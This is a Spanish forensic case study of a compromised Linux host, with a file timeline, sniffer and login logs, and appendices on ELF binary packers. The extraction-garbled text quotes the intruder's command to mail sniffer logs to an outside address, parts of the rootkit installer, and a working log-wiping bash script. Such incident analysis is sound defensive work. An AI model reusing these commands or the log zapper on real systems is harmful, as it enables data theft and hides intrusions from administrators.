1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

